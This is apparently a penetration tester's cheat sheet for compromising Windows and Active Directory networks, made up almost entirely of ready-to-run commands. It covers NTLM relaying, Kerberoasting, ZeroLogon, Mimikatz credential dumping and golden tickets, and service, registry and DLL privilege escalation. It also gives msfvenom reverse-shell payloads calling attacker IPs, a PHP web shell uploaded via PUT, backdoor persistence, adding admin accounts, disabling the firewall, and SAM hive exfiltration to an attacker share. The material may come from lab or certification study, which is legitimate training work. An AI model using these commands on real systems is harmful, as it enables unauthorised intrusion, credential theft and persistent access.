hashcat -m 5600 ntlmhash.txt /usr/share/wordlists/rockyou.txt --force

Ipv6 DNS Takeover via mitm6

GitHub - fox-it/mitm6: pwning IPv4 via IPv6

mitm6 -d marvel.local

Setup relay attack

ntlmrelayx.py -6 -t ldaps://192.168.57.140 -wh fakewpad.marvel.local -l lootme

The worst of both worlds: Combining NTLM Relaying and Kerberos delegation - dirkjanm.io

SMB Relay

Relay hashes we gathered and gain access to specific machines. Relayed user credentials must be admin on machine.

Check if SMB signing is disabled. (Message signing is enabled but not required)

nmap --script=smb2-security-mode.nse -p445 192.168.57.0/24

Save relevant hosts to targets.txt

Disable smb and http on responder.conf

https://hausec.com/how-to-set-up-ntlmrelayx-py/

nano /etc/responder/Responder.conf

Start listening for events on responder (python2 and python3 Version)

sudo python responder.py -I eth0 -rdwv
sudo responder.py -I eth0 -Pv 

Initialize relay

ntlmrelayx.py -tf targets.txt -smb2support

Retrieve SAM hashes

Abusing Group Policy Preferences (GPP)

Find the Groups.xml file.

\\DOMAIN\SYSVOL\domain\Policies\RANDOMOBJECTS\Machine\Preferences\Groups\Groups.xml
or
findstr /S /I cpassword \\domain.local\sysvol\domain.local\policies\*.xml

Retrieve the cpassword hash. Decrypt.

gpp-decrypt hash

Use can use the credentials with psexec.py or maybe try kerberoasting

Kerberos (AS-REP Roasting)

Run impacket/GetNPUsers.py to get the users that don't have the require pre-authentication option

GetNPUsers.py -dc-ip IP -no-pass -userfile user.txt

Crack the hashes found

Use evil-winrm to connect to the box using the credentials found

Use ntlmrelay.py from Impacket to relay any changes made to LDAP.

ntlmrelayx.py -t ldap://10.10.10.161 --escalate-user svc-alfresco

Authenticate by visiting http://localhost/privexchange (any directory will work, this is random). This sets the user ad Domain Admin.

Abusing ZeroLogon

python3 zerologon_check.py DC IP
python3 cve-2020-1472-exploit.py DC IP

Use Impacket’s secretsdump.py to perform the DCSync attack, gathering all the user hashes:

secretsdump.py -just-dc DOMAIN/DC\$@IP

secretsdump.py htb.local/user:password@10.10.10.161 -just-dc -outputfile secrets-dump.txt

Login using the Administrator hash

evil-winrm -u Administrator -i 10.10.10.161 -H '32693b11e6aa90eb43d32c72a07ceea6'

In order to find the plain password hex and restore the password
secretsdump.py administrator@IP -hashes HASH
python3 restorepassword.py DOMAIN/DC@DC_HOSTNAME -target-ip IP -hexpass HEXPASS

Kerbrute

Kerbrute is a popular enumeration tool used to brute-force and enumerate valid active-directory users by abusing the Kerberos pre-authentication.

You need to add the DNS domain name along with the machine IP to /etc/hosts inside of your attacker machine: 10.10.117.212 CONTROLLER.local

./kerbrute userenum --dc CONTROLLER.local -d CONTROLLER.local User.txt

Harvesting Tickets w/ Rubeus

On the target machine

Rubeus.exe harvest /interval:30

Rubeus.exe kerberoast
This will dump the Kerberos hash of any kerberoastable users

Dumping KRBASREP5 Hashes w/ Rubeus

Rubeus.exe asreproast

Crack the resulting hashes

Privesc

Powerview

Start Powershell - powershell -ep bypass -ep bypasses the execution policy of powershell allowing you to easily run scripts

powershell -ep bypass

Start PowerView

. .\PowerView.ps1

Enumerate the domain users -

Get-NetUser | select cn

Enumerate the domain groups

Get-NetGroup -GroupName *admin*

Enumerate shared folder

Invoke-ShareFinder

Enumerate operation systems inside of domain

Get-NetComputer -fulldata | select operatingsystem

Additional queries

https://gist.github.com/HarmJ0y/184f9822b195c52dd50c379ed3117993

PowerUp a powershell script

https://github.com/PowerShellMafia/PowerSploit/blob/master/Privesc/PowerUp.ps1

To execute this using Meterpreter, I will type load powershell into meterpreter. Then I will enter powershell by entering powershell_shell:

powershell -exec bypass
. .\PowerUp.ps1
Invoke-AllChecks

This script is useful but requires PowerShell. If you are to use this script I advise using a one-off PowerShell command. For example:

powershell.exe -exec bypass -Command “& {Import-Module .\PowerUp.ps1; Invoke-AllChecks}”
msfvenom -p windows/shell_reverse_tcp LHOST=10.10.27.83 LPORT=4443 -e x86/sjikata -
f exe -o Advanced.exe

Encoded payload

msfvenom -p windows/meterpreter/reverse_tcp -a x86 --encoder x86/shikata_ga_nai
LHOST=10.11.9.134 LPORT=9091 -f exe -o bruce.exe

Sherlock PowerShell script exploit suggester

Edit Sherlock.ps1 file and add line at the end.

...
Find-AllVulns

BloodHound

neo4j console
bloodhound
powershell -ep bypass

.\Downloads\SharpHound.ps1

Invoke-Bloodhound -CollectionMethod All -Domain DOMAIN.local -ZipFileName loot.zip

OR (alternative)

SharpHound.exe

Upload zip file into bloodhound.

Mimikatz

Load mimikatz.

privilege::debug

This ensures that you're running mimikatz as an administrator; if you don't run mimikatz as an administrator, mimikatz will not run properly.

Dump hashes

lsadump::lsa /patch

Login passwords

mimikatz # sekurlsa::logonpasswords

Take hashes offline and crack the hashes or run attacks like pass the hash.

Further Information

Golden Ticket

Load mimikatz.

privilege::debug
lsadump::lsa /inject /name:krbtgt

This dumps the hash and security identifier of the Kerberos Ticket Granting Ticket account allowing you to create a golden ticket.

Copy the SID of the domain and the NTLM hash of the ticket granting ticket account

kerberos::golden /User:Administrator /domain:marvel.local /sid:SID /krbtgt:NTLMHASH /id:500 /ptt

After passing the ticket successfuly open a new session (on the mimikatz prompt)

misc::cmd

Access other Machines! - You will now have another command prompt with access to all other machines on the network.

Service Exploits

Let's start by looking for non-default services:

wmic service get name,displayname,pathname,startmode | findstr /v /i "C:\Windows"
To verify service permissions

.\accesschk.exe /accepteula -uwcqv user daclsvc

Query service configuration

sc qc daclsvc

Check service status

sc query daclsvc

Unquoted Path Service

To check permissions to start the service
.\accesschk.exe /accepteula -ucqv user unquotedsvc

Check folder for write permissions

.\accesschk.exe /accepteula -uwdq "C:\Program Files\Unquoted Path Service\"

Exploit
msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.149.131 LPORT=9002 -f exe > Wise.exe

or

powershell "get-acl -Path 'C:\Program Files (x86)\System Explorer' | format-list"

Paste exploit in that directory
net start unquotedsvc

Weak Registry Permissions

If we can modify the registry of a service. Ex: HKLM\system\currentcontrolset\services\regsvc

Check permissions

.\accesschk.exe /accepteula -uvwqk HKLM\system\currentcontrolset\services\regsvc

Check the value of the registry entry

reg query HKLM\system\currentcontrolset\services\regsvc

Change the path of the value to a reverse shell

reg add HKLM\system\currentcontrolset\services\regsvc /v ImagePath /t REG_EXPAND_SZ /d C:\PrivEsc\reverse.exe /f

net start regsvc

Startup Apps

.\accesschk.exe /accepteula -d "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp"

Check for Write access.

Create a shortcut to the exploit. There is a script already available in the privesc files.
type CreateShortcut.vbs
cscript CreateShortcut.vbs

Start listener

Logout and Log back in as the admin user.

icacls.exe "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp" 
If the group has full access (F) then we simply upload a rev shell on this folder and wait for a login/reboot.

Insecure Service Executables

.\accesschk.exe /accepteula -quvw "C:\Program Files\File Permissions Service\filepermservice.exe"

To check permissions to start the service

.\accesschk.exe /accepteula -ucqv user filepermsvc

Backup the original service executable

copy  "C:\Program Files\File Permissions Service\filepermservice.exe" C:\Temp

copy /Y C:\PrivEsc\reverse.exe  "C:\Program Files\File Permissions Service\filepermservice.exe"

net start filepermsvc

Escalation via binary paths

.\accesschk.exe /accepteula -uwcv Everyone *

To check permissions to start the service and change the config (SERVICE_QUERY_CONFIG)

.\accesschk.exe /accepteula -uwcv daclsvc  (name of the service found)

See current configuration

sc qc daclsvc

sc config daclsvc binpath="net localgroup admnistrators user /a"

sc stop daclsvc

sc start daclsvc

DLL Hijacking

Check for folders that are writable and in the PATH

Check for the executables

sc qc dllsvc

Start Procmon to analyse .exe

Check what dll the .exe is calling

Generate a reverse shell

msfvenom -p windows/x64/shell_reverse_tcp LHOST=IP LPORT=9001 -f dll -o /tools/hijackme.dll

copy \\192.168.1.11\tools\hijackme.dll C:\Temp

net stop dllsvc
net start dllsvc

Registry exploits

AutoRuns

winPEAS.exe quiet applicationsinfo

reg query HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run

Copy exploit to path of the .exe

Restart windows

Always Install Elevated

winPEAS.exe quiet windowscreds

reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated

msfvenom -p windows/meterpreter/reverse_tcp lhost=(ATTACKER IP ADDRESS) lport=(ATTACKER PORT) –f  msi > install.msi
msiexec /quiet /qn /i  install.msi

Scheduled Tasks

schtasks /query /fo LIST /v

Find script that is being executed and write to it

echo C:\PrivEsc\reverse.exe >> CleanUp.ps1

Runas (Stored Credentials)

Identifying Stored Credentials

cmdkey /list

runas /savecred /user:WORKGROUP\Administrator "C:\Users\ignite\Downloads\shell.exe"

Token Impersonation with Incognito

msfconsole
user windows/smb/psexec
set rhosts
set smbdomain
set smbpass
set smbuser
show targets
set targets 2 (native upload)
set payload windows/x64/meterpreter/reverse_tcp
set lhost
set lport

On a meterpreter shell load incognito

load incognito
list_tokens -u
impersonate_token token\name
rev2self on meterpreter (reverts back to the initial permissions)

Hot Potato

Needs hot potato.exe

.\potato.exe -ip 192.168.1.33 -cmd "C:\PrivEsc\reverse.exe" -enable_http server true -enable_defender true -enable_spoof true -enable_exhaust true

Juicy Potato

Needs hot potato.exe

pwd of the reverse.exe
.\PSExec64.exe -accepteula -i -u "nt authority\local service" reverse.exe

To have a shell as the local service account

C:\PrivEsc\JuicyPotato.exe -l 1337 -p C:\PrivEsc\reverse.exe -t * -c {03... CLSID of the Windows version}

https://book.hacktricks.xyz/windows/windows-local-privilege-escalation/juicypotato

Kerberoasting

ASReproasting occurs when a user account has the privilege "Does not require Pre-Authentication" set. This means that the account does not need to provide valid identification before requesting a Kerberos Ticket on the specified user account.

Impacket has a tool called "GetNPUsers.py" (located in Impacket/Examples/GetNPUsers.py) that will allow us to query ASReproastable accounts from the Key Distribution Center. (Enumerate valid users with kerbrute)

GetNPUsers.py spookysec.local/ -usersfile userlist.txt

GetNPUsers.py spookysec.local/svc-admin -no-pass

Once we have user credentials we can retrieve services with administrator accounts (SPN)

Using the GetUserSPNS.py (impacket)

GetUserSPNS.py domain.local/user:password -dc-ip 192.168.57.140 -request
GetUserSPNS.py -request -dc-ip IP TARGET(domain/user)

impacket-GetUsersSPNs -dc-ip IP DOMAIN/User
Enter the password

Or

GetUserSPNs.py controller.local/Machine1:Password1 -dc-ip 10.10.117.212 -request

Find hashcat hash type

hashcat --1 help | grep Kerberos
hashcat -m 13100 hashes4.txt rockyou.txt -O

Abusing Token Privileges For Windows Local Privilege Escalation

While using meterpreter

ps shows all of the running processes

meterpreter > migrate PID
to migrate to a higher authority process(ex: spoolsv.exe)

meterpreter > load kiwi
to load mimikatz

TODO: Good reads

https://foxglovesecurity.com/2016/09/26/rotten-potato-privilege-escalation-from-service-accounts-to-system/

https://foxglovesecurity.com/2017/08/25/abusing-token-privileges-for-windows-local-privilege-escalation/

Windows-Exploit-Suggester

update the database

$ ./windows-exploit-suggester.py --update

install dependencies

(install python-xlrd, $ pip install xlrd --upgrade)

feed it "systeminfo" input, and point it to the microsoft database

$ ./windows-exploit-suggester.py --database 2014-06-06-mssb.xlsx --systeminfo win7sp1-systeminfo.txt

Windows-Exploit-Suggester GitHub

Pass the hash attack

pth-winexe -U administrator%aad3b435b51404eeaad3b435b51404ee:e0fb1fb85756c24235ff238cbe81fe00 //IP cmd.exe

Privilege Escalation Awesome Scripts SUITE

GitHub - carlospolop/privilege-escalation-awesome-scripts-suite: PEASS - Privilege Escalation Awesome Scripts SUITE (with colors)

Additional reading

FuzzySecurity | Windows Privilege Escalation Fundamentals

FuzzySecurity | Windows Privilege Escalation FundamentalsFuzzySecurity | Windows Privilege Escalation Fundamentals

Windows Privilege Escalation Guide

Windows Privilege Escalation Guide

NTLM Hashes

Dumping Hashes with secretsdump.py

https://github.com/SecureAuthCorp/impacket

secretsdump.py DOMAIN/USERNAME:PASSWORD@IP

Cracking NTLM Hashes with Hashcat

On Windows

hashcat64.exe -m 1000 hashfile.txt rockyou.txt -O

Pass the hash

You can only pass NTLM V1 hashes

crackmapexec smb IP -u "USERNAME" -H HASH --local-auth

e.g.
crackmapexec smb 192.168.64.0/24 -u fcastle -d KOMBINAT.local -p 'Password1' --local-auth

CrackMapExec

Brute Force

crackmapexec smb 10.10.10.184 -u USER_LIST -p pass.txt (--continue-on-success)

List shares

crackmapexec smb 10.10.10.184 -u USER -p PASSWORD --shares

Null authentication

crackmapexec smb 10.10.10.184 --pass-pol -u '' -p ''

Test credentials on local network (password spraying)

crackmapexec 192.168.57.0/24 -u USERNAME -d DOMAIN.local -p PASSWORD

PSEXEC

PSEXEC supports hashes instead of passwords - Note: Entire hash needed LMN:NTLM

psexec.py "username:@192.168.57.141 -hashes lmn:ntlm

Maintaining Access

Generating a Payload w/ msfvenom

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST= LPORT= -f exe -o shell.exe

use exploit/multi/handler

Background the meterpreter shell

Run the Persistence Module

use exploit/windows/local/persistence

set session 1

If the system is shut down or reset for whatever reason you will lose your meterpreter session however by using the persistence module you create a backdoor into the system which you can access at any time using the metasploit multi handler and setting the payload to windows/meterpreter/reverse_tcp allowing you to send another meterpreter payload to the machine and open up a new meterpreter session.

Add a user

net user hacker password123 /add

Next we add our newly created account in the "Administrators" and "Remote Management Users" groups:

net localgroup Administrators USERNAME /add
net localgroup "Remote Management Users" USERNAME /add

RDP

xfreerdp /v:IP /u:USERNAME /p:PASSWORD

These switches are particularly useful:

  • /dynamic-resolution -- allows us to resize the window, adjusting the resolution of the target in the process
  • /size:WIDTHxHEIGHT -- sets a specific size for targets that don't resize automatically with /dynamic-resolution
  • +clipboard -- enables clipboard support
  • /drive:LOCAL_DIRECTORY,SHARE_NAME -- creates a shared drive between the attacking machine and the target. This switch is insanely useful as it allows us to very easily use our toolkit on the remote target, and save any outputs back directly to our own hard drive. In essence, this means that we never actually have to create any files on the target. For example, to share the current directory in a share called share, you could use: /drive:.,share, with the period (.) referring to the current directory

When creating a shared drive, this can be accessed either from the command line as \\tsclient\, or through File Explorer under "This PC":

xfreerdp /v:IP /u:USERNAME /p:PASSWORD +clipboard /dynamic-resolution /drive:/usr/share/windows-resources,share

Empire

sudo apt install powershell-empire starkiller

sudo powershell-empire server

powershell-empire client

starkiller (emprieadmin:password123)

Client

uselistener http
set Name CLIHTTP
set Host IP
set Port 8000
execute
back or main

List and kill listeners

listeners

kill LISTENER_NAME

Create stager multi/bash

Empire Hop Listeners

uselistener http_hop

Specifically we need:

  • A RedirectListener -- this is a regular listener to forward any received agents to. Think of the hop listener as being something like a relay on the compromised server; we still need to catch it with something! You could use the listener you set up earlier for this, or create an entirely new HTTP listener using the same steps we used earlier. Make sure that this matches up with the name of an already active listener though!
  • A Host -- the IP of the compromised webserver (.200).
  • A Port -- this is the port which will be used for the webserver hosting our hop files. Pick a random port here (above 15000), but remember it!

Empire Modules

usemodule powershell/privesc/sherlock

Evil-winrm

Share folder in memory

evil-winrm -u Administrator -H 37db630168e5f82aafa8461e05c6bbd1 -i 10.200.198.150 -s ./tools/Pivoting/Windows/

Upload file

upload /usr/share/windows-binaries/nc.exe c:\windows\temp\nc.exe

Exfiltration Techniques & Post Exploitation

Local user hashes are stored in the Windows Registry whilst the computer is running -- specically in the HKEY_LOCAL_MACHINE\SAM hive. This can also be found as a file at C:\Windows\System32\Config\SAM, however, this should not be readable whilst the computer is running. To dump the hashes locally, we first need to save the SAM hive:

reg.exe save HKLM\SAM sam.bak

This saves the hive as a file called "sam.bak" in the current directory.

Dumping the SAM hive isn't quite enough though -- we also need the SYSTEM hive which contains the boot key for the machine:

reg.exe save HKLM\SYSTEM system.bak

Transfer the files over SMB for example

reg.exe save HKLM\SAM \ATTACKING_IP\share\sam.bak

Retrieve the hashes

python3 /opt/impacket/examples/secretsdump.py -sam PATH/TO/SAM_FILE -system PATH/TO/SYSTEM_FILE LOCAL

Check-list

Info-sheet

  • DNS-Domain name:
  • Host name:
  • OS:
  • Server:
  • Workgroup:
  • Windows domain:
  • Services and ports:

INSERTTCPSCAN

Recon

Always start with a stealthy scan to avoid closing ports.

# Syn-scan
nmap -sS INSERTIPADDRESS

# Service-version, default scripts, OS:
nmap INSERTIPADDRESS -sV -sC -O

# Scan all ports, might take a while.
nmap INSERTIPADDRESS -p-

# Scan for UDP
nmap INSERTIPADDRESS -sU
unicornscan -mU -v -I INSERTIPADDRESS

# Connect to udp if one is open
nc -u INSERTIPADDRESS 48772

# Monster scan
nmap INSERTIPADDRESS -p- -A -T4 -sC

Port 21 - FTP

  • Name:
  • Version:
  • Anonymous login:

INSERTFTPTEST

nmap --script=ftp-anon,ftp-libopie,ftp-proftpd-backdoor,ftp-vsftpd-backdoor,ftp-vuln-cve2010-4221,tftp-enum -p 21 INSERTIPADDRESS

Port 22 - SSH

  • Name:
  • Version:
  • Protocol:
  • RSA-key-fingerprint:
  • Takes-password: If you have usernames test login with username:username

INSERTSSHCONNECT

Port 25

  • Name:
  • Version:
  • VRFY:
  • EXPN:

INSERTSMTPCONNECT

nc -nvv INSERTIPADDRESS 25
HELO foo<cr><lf>

nmap --script=smtp-commands,smtp-enum-users,smtp-vuln-cve2010-4344,smtp-vuln-cve2011-1720,smtp-vuln-cve2011-1764 -p 25 INSERTIPADDRESS

Port 110 - Pop3

  • Name:
  • Version:

INSERTPOP3CONNECT

Port 135 - MSRPC

Some versions are vulnerable.

nmap INSERTIPADDRESS --script=msrpc-enum

Exploit:

msf > use exploit/windows/dcerpc/ms03_026_dcom

Port 139/445 - SMB

  • Name:
  • Version:
  • Domain/workgroup name:
  • Domain-sid:
  • Allows unauthenticated login:
nmap --script=smb-enum-shares.nse,smb-ls.nse,smb-enum-users.nse,smb-mbenum.nse,smb-os-discovery.nse,smb-security-mode.nse,smbv2-enabled.nse,smb-vuln-cve2009-3103.nse,smb-vuln-ms06-025.nse,smb-vuln-ms07-029.nse,smb-vuln-ms08-067.nse,smb-vuln-ms10-054.nse,smb-vuln-ms10-061.nse,smb-vuln-regsvc-dos.nse,smbv2-enabled.nse INSERTIPADDRESS -p 445

enum4linux -a INSERTIPADDRESS

rpcclient -U "" INSERTIPADDRESS
	srvinfo
	enumdomusers
	getdompwinfo
	querydominfo
	netshareenum
	netshareenumall

smbclient -L INSERTIPADDRESS
smbclient //INSERTIPADDRESS/tmp
smbclient \\\\INSERTIPADDRESS\\ipc$ -U john
smbclient //INSERTIPADDRESS/ipc$ -U john
smbclient //INSERTIPADDRESS/admin$ -U john

Log in with shell:
winexe -U username //INSERTIPADDRESS "cmd.exe" --system

Port 161/162 UDP - SNMP

nmap -vv -sV -sU -Pn -p 161,162 --script=snmp-netstat,snmp-processes INSERTIPADDRESS
snmp-check -t INSERTIPADDRESS -c public
# Common community strings
public
private
community

Port 554 - RTSP

Port 1030/1032/1033/1038

Used by RPC to connect in domain network. Usually nothing.

Port 1433 - MSSQL

  • Version:
use auxiliary/scanner/mssql/mssql_ping

# Last options. Brute force.
scanner/mssql/mssql_login

# Log in to mssql
sqsh -S INSERTIPADDRESS -U sa

# Execute commands
xp_cmdshell 'date'
go

If you have credentials look in metasploit for other modules.

Port 1521 - Oracle

Name: Version: Password protected:

tnscmd10g version -h INSERTIPADDRESS
tnscmd10g status -h INSERTIPADDRESS

Port 2100 - Oracle XML DB

Can be accessed through ftp. Some default passwords here: https://docs.oracle.com/cd/B10501_01/win.920/a95490/username.htm

  • Name:
  • Version:

Default logins:

sys:sys
scott:tiger

Port 2049 - NFS

showmount -e INSERTIPADDRESS

If you find anything you can mount it like this:

mount INSERTIPADDRESS:/ /tmp/NFS
mount -t INSERTIPADDRESS:/ /tmp/NFS

3306 - MySQL

  • Name:
  • Version:
mysql --host=INSERTIPADDRESS -u root -p

nmap -sV -Pn -vv -script=mysql-audit,mysql-databases,mysql-dump-hashes,mysql-empty-password,mysql-enum,mysql-info,mysql-query,mysql-users,mysql-variables,mysql-vuln-cve2012-2122 INSERTIPADDRESS -p 3306

Port 3339 - Oracle web interface

  • Basic info about web service (apache, nginx, IIS)
  • Server:
  • Scripting language:
  • Apache Modules:
  • IP-address:
  • Domain-name address:

Port 3389 - Remote desktop

Test logging in to see what OS is running

rdesktop -u guest -p guest INSERTIPADDRESS -g 94%

# Brute force
ncrack -vv --user Administrator -P /root/oscp/passwords.txt rdp://INSERTIPADDRESS

Port 80

  • Server:
  • Scripting language:
  • Apache Modules:
  • Domain-name address:

INSERTCURLHEADER

  • Web application
  • Name:
  • Version:
# Nikto
nikto -h http://INSERTIPADDRESS

# Nikto with squid proxy
nikto -h INSERTIPADDRESS -useproxy http://INSERTIPADDRESS:4444

# Get header
curl -i INSERTIPADDRESS

# Get everything
curl -i -L INSERTIPADDRESS

# Check if it is possible to upload using put
curl -v -X OPTIONS http://INSERTIPADDRESS/
curl -v -X PUT -d '<?php system($_GET["cmd"]); ?>' http://INSERTIPADDRESS/test/shell.php

# Check for title and all links
dotdotpwn.pl -m http -h INSERTIPADDRESS -M GET -o unix

Nikto scan

INSERTNIKTOSCAN

Url brute force

# Dirb
dirb http://INSERTIPADDRESS -r -o dirb-INSERTIPADDRESS.txt

# Gobuster - remove relevant responde codes (403 for example)
gobuster -u http://INSERTIPADDRESS -w /usr/share/seclists/Discovery/Web_Content/common.txt -s '200,204,301,302,307,403,500' -e

INSERTDIRBSCAN

Default/Weak login

Google documentation for default passwords and test them:

site:webapplication.com password
admin admin
admin password
admin <blank>
admin nameofservice
root root
root admin
root password
root nameofservice
<username if you have> password
<username if you have> admin
<username if you have> username
<username if you have> nameofservice

LFI/RFI

# Kadimus
/root/Tools/Kadimus/kadimus -u http://INSERTIPADDRESS/example.php?page=


# Bypass execution
http://INSERTIPADDRESS/index.php?page=php://filter/convert.base64-encode/resource=index
base64 -d savefile.php

# Bypass extension
http://INSERTIPADDRESS/page=http://192.168.1.101/maliciousfile.txt%00
http://INSERTIPADDRESS/page=http://192.168.1.101/maliciousfile.txt?

SQL-Injection

# Post
./sqlmap.py -r search-test.txt -p tfUPass

# Get
sqlmap -u "http://INSERTIPADDRESS/index.php?id=1" --dbms=mysql

# Crawl
sqlmap -u http://INSERTIPADDRESS --dbms=mysql --crawl=3

Sql-login-bypass

  • Open Burp-suite
  • Make and intercept request
  • Send to intruder
  • Cluster attack
  • Paste in sqlibypass-list (https://bobloblaw.gitbooks.io/security/content/sql-injections.html)
  • Attack
  • Check for response length variation

Password brute force - last resort

cewl

Port 443 - HTTPS

Heartbleed:

sslscan INSERTIPADDRESS:443

Vulnerability analysis

Now we have gathered information about the system. Now comes the part where we look for exploits and vulnerabilities and features.

To try - List of possibilities

Add possible exploits here:

Find sploits - Searchsploit and google

Where there are many exploits for a software, use google. It will automatically sort it by popularity.

site:exploit-db.com apache 2.4.7

# Remove dos-exploits

searchsploit Apache 2.4.7 | grep -v '/dos/'
searchsploit Apache | grep -v '/dos/' | grep -vi "tomcat"

# Only search the title (exclude the path), add the -t
searchsploit -t Apache | grep -v '/dos/'

'''''''''''''''''''''''''''''''''' PRIVESC '''''''''''''''''''''''''''''''''


Privilege escalation

Now we start the whole enumeration-process over gain. This is a checklist. You need to check of every single one, in this order.

  • Kernel exploits
  • Cleartext password
  • Reconfigure service parameters
  • Inside service
  • Program running as root
  • Installed software
  • Scheduled tasks
  • Weak passwords

To-try list

Here you will add all possible leads. What to try.

Basic info

  • OS:
  • Version:
  • Architecture:
  • Current user:
  • Hotfixes:
  • Antivirus:

Users:

Localgroups:

systeminfo
set
hostname
net users
net user user1
net localgroups
accesschk.exe -uwcqv "Authenticated Users" *

netsh firewall show state
netsh firewall show config

# Set path
set PATH=%PATH%;C:\xampp\php

Kernel exploits

# Look for hotfixes
systeminfo

wmic qfe get Caption,Description,HotFixID,InstalledOn

# Search for exploits
site:exploit-db.com windows XX XX

Cleartext passwords

# Windows autologin
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\Currentversion\Winlogon"

# VNC
reg query "HKCU\Software\ORL\WinVNC3\Password"

# SNMP Parameters
reg query "HKLM\SYSTEM\Current\ControlSet\Services\SNMP"

# Putty
reg query "HKCU\Software\SimonTatham\PuTTY\Sessions"

# Search for password in registry
reg query HKLM /f password /t REG_SZ /s
reg query HKCU /f password /t REG_SZ /s

Reconfigure service parameters

  • Unquoted service paths

Check book for instructions

  • Weak service permissions

Check book for instructions

Inside service

Check netstat to see what ports are open from outside and from inside. Look for ports only available on the inside.

# Meterpreter
run get_local_subnets

netstat /a
netstat -ano

Programs running as root/system

Installed software

# Metasploit
ps

tasklist /SVC
net start
reg query HKEY_LOCAL_MACHINE\SOFTWARE
DRIVERQUERY

Look in:
C:\Program files
C:\Program files (x86)
Home directory of the user

Scheduled tasks

schtasks /query /fo LIST /v

Check this file:
c:\WINDOWS\SchedLgU.Txt

Weak passwords

Remote desktop

ncrack -vv --user george -P /root/oscp/passwords.txt rdp://INSERTIPADDRESS

Useful commands

Add user and enable RDP

net user haxxor Haxxor123 /add
net localgroup Administrators haxxor /add
net localgroup "Remote Desktop Users" haxxor /ADD

# Enable RDP
reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f

Turn firewall off
netsh firewall set opmode disable

Or like this
reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f

If you get this error:

"ERROR: CredSSP: Initialize failed, do you have correct kerberos tgt initialized ?
Failed to connect, CredSSP required by server.""

Add this reg key:

reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v UserAuthentication /t REG_DWORD /d 0 /f

----------------------------- LOOT LOOT LOOT LOOT -------------------


Loot

  • Proof:
  • Network secret:
  • Password and hashes:
  • Dualhomed:
  • Tcpdump:
  • Interesting files:
  • Databases:
  • SSH-keys:
  • Browser:

Proof

Network secret

Passwords and hashes

wce32.exe -w
wce64.exe -w
fgdump.exe

reg.exe save hklm\sam c:\sam_backup
reg.exe save hklm\security c:\security_backup
reg.exe save hklm\system c:\system

# Meterpreter
hashdump
load mimikatz
msv

Dualhomed

ipconfig /all
route print

# What other machines have been connected
arp -a

Tcpdump

# Meterpreter
run packetrecorder -li
run packetrecorder -i 1

Interesting files

#Meterpreter
search -f *.txt
search -f *.zip
search -f *.doc
search -f *.xls
search -f config*
search -f *.rar
search -f *.docx
search -f *.sql

# How to cat files in meterpreter
cat c:\\Inetpub\\iissamples\\sdk\\asp\\components\\adrot.txt

# Recursive search
dir /s

Mail

Browser

  • Browser start-page:
  • Browser-history:
  • Saved passwords:

Databases

SSH-keys

How to replicate:

Port Forwarding/Tunneling and Pivoting

SSH Tunnelling / Port Forwarding

For example, if we had SSH access to 172.16.0.5 and there's a webserver running on 172.16.0.10, we could use this command to create a link to the server on 172.16.0.10.

ssh -L 8000:172.16.0.10:80 user@172.16.0.5 -fN

We could then access the website on 172.16.0.10 (through 172.16.0.5) by navigating to port 8000 on our own attacking machine.

Proxies are made using the -D switch, for example: -D 1337. This will open up port 1337 on your attacking box as a proxy to send data through into the protected network. This is useful when combined with a tool such as proxychains. An example of this command would be:

ssh -D 1337 user@172.16.0.5 -fN

Reverse Connections

Generate a keypair:

ssh-keygen

Copy the contents of the public key (the file ending with .pub), then edit the ~/.ssh/authorized_keys file on your own attacking machine. You may need to create the ~/.ssh directory and authorized_keys file first. On a new line, type the following line, then paste in the public key:

command="echo 'This account can only be used for port forwarding'",no-agent-forwarding,no-x11-forwarding,no-pty INSERT_PUBLIC_KEY

This makes sure that the key can only be used for port forwarding, disallowing the ability to gain a shell on your attacking machine.

The only thing left is to do the unthinkable: transfer the private key to the target box. This is usually an absolute no-no, which is why we generated a throwaway set of SSH keys to be discarded as soon as the engagement is over.

With the key transferred, we can then connect back with a reverse port forward using the following command:

ssh -R LOCAL_PORT:TARGET_IP:TARGET_PORT USERNAME@ATTACKING_IP -i KEYFILE -fN

To put that into the context of our fictitious IPs: 172.16.0.10 and 172.16.0.5, if we have a shell on 172.16.0.5 and want to give our attacking box (172.16.0.20) access to the webserver on 172.16.0.10, we could use this command on the 172.16.0.5 machine:

ssh -R 8000:172.16.0.10:80 kali@172.16.0.20 -i KEYFILE -fN

This command can be used to create a reverse proxy in clients which do support it:

ssh -R 1337 USERNAME@ATTACKING_IP -i KEYFILE -fN

To close any of these connections, type ps aux | grep ssh into the terminal of the machine that created the connection.

Finally, type sudo kill PID to close the connection.

Download plink.exe

C:\Users\Alfred>powershell -c "(New-Object System.Net.WebClient).DownloadFile('http://10.10.14.8/plink.exe', 'plink.exe')"

Start SSH service on our attacking box.

root@kali:~# service ssh start

Run plink.exe

C:\Users\Alfred>plink.exe -l root -pw  -R 445:127.0.0.1:445 ATK_IP

Or

C:\Users\Alfred>plink.exe -l root@ATK_IP -R 445:127.0.0.1:445

Or

cmd.exe /c echo y | .\plink.exe -R LOCAL_PORT:TARGET_IP:TARGET_PORT USERNAME@ATTACKING_IP -i KEYFILE -N

Note that any keys generated by ssh-keygen will not work properly here. You will need to convert them using the puttygen tool, which can be installed on Kali using sudo apt install putty-tools. After downloading the tool, conversion can be done with: puttygen KEYFILE -o OUTPUT_KEY.ppk Substituting in a valid file for the keyfile, and adding in the output file.

Use winexe to get a shell

root@kali:~# winexe -U Administrator //127.0.0.1 "cmd.exe"
root@kali:~# winexe -U 'admin@password123' //127.0.0.1 cmd.exe

or

psexec.py USER:PASSWORD@IP cmd.exe

Socat

Reverse Shell Relay

First let's start a standard netcat listener on our attacking box

sudo nc -lvnp 443

Next, on the compromised server, use the following command to start the relay:

./socat tcp-l:20000 tcp:ATTACKING_IP:443 &
